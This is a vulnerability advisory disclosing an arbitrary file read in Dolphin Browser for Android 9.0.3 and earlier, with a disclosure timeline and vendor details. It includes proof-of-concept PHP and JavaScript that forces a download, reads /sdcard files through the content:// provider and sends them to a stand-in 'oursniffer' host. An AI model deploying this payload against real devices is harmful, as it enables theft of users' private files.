PT-2012-60: Arbitrary File Reading in Dolphin Browser

(PT-2012-60) Positive Technologies Security Advisory
Arbitrary File Reading in Dolphin Browser

Vulnerable software

Dolphin Browser
Version: 9.0.3 and earlier

Application link:
http://dolphin-browser.com/

Severity level

Severity level: Medium
Impact: Arbitrary File Reading
Access Vector: Remote

CVSS v2:
Base Score: 5.8
Vector: (AV:N/AC:M/Au:N/C:P/I:N/A:P)

CVE: not assigned

Software description

Dolphin Browser is a powerful, quick and elegant browser for Android 2.0+

Vulnerability description

The specialists of the Positive Research center have detected Remote Arbitrary File Reading vulnerability in Dolphin Browser.

The vulnerability exists because of incorrect content:// wrapper processing that allows you to remotely address the available content provider. Therefore the attacker can view  /sdcard/1.txt file contents if the victim follows content://mobi.mgeek.TunnyBrowser.htmlfileprovider/sdcard/1.txt link.
The attack is simply implemented.
1. A victim follows a link to the web site with the following PHP code:

<? echo "<body onload=\"setTimeout('window.location=\'1day.php\'',1000);setTimeout('window.location=\'content://mobi.mgeek.TunnyBrowser.htmlfileprovider/sdcard/download/test.html\'',5000);\">"; ?>

2. Browser automatically loads 1day.php page with the following code:

<?
header('Content-Disposition: attachment; filename="test.html"');
?>
<iframe src="content://mobi.mgeek.TunnyBrowser.htmlfileprovider/sdcard/1.txt"></iframe>
<script>
window.onload = function () { file = document.getElementsByTagName('iframe')[0].contentWindow.document.body.innerHTML;
img = new Image(); img.src = 'http://oursniffer/sniff.php?data='+file;
}
</script>

3. Then the user presses "Save" button, and the exploit now is located here: /sdcard/download/test.html
4. Then we forward the user to this file (content://mobi.mgeek.TunnyBrowser.htmlfileprovider/sdcard/download/test.html) via a link and the code is executed.
7. Data from /sdcard/1.txt file is written into the sniffer's log.

How to fix

Update your software up to the latest version.

Advisory status

18.12.2012 - Vendor is notified
18.12.2012 - Vendor gets vulnerability details
05.02.2013 - Vendor releases fixed version and details
07.03.2013 - Public disclosure

Credits

The vulnerabilities has discovered by Mikhail Firstov, Positive Research Center (Positive Technologies Company)

References

http://en.securitylab.ru/lab/PT-2012-60

Reports on the vulnerabilities previously discovered by Positive Research:

http://ptsecurity.com/research/advisory/
http://en.securitylab.ru/lab/

About Positive Technologies

Positive Technologies www.ptsecurity.com is among the key players in the IT security market in Russia.

The principal activities of the company include the development of integrated tools for information security monitoring (MaxPatrol); providing IT security consulting services and technical support; development of the Securitylab leading Russian information security portal.

Among the clients of Positive Technologies, there are more than 40 state enterprises, more than 50 banks and financial organizations, 20 telecommunication companies, more than 40 plant facilities, as well as IT, service and retail companies from Russia, the CIS countries, the Baltic States, China, Ecuador, Germany, Great Britain, Holland, Iran, Israel, Japan, Mexico, the Republic of South Africa, Thailand, Turkey, and the USA.

Positive Technologies is a team of highly skilled developers, advisers and experts with years of vast hands-on experience. The company specialists possess professional titles and certificates; they are the members of various international societies and are actively involved in the IT security field development.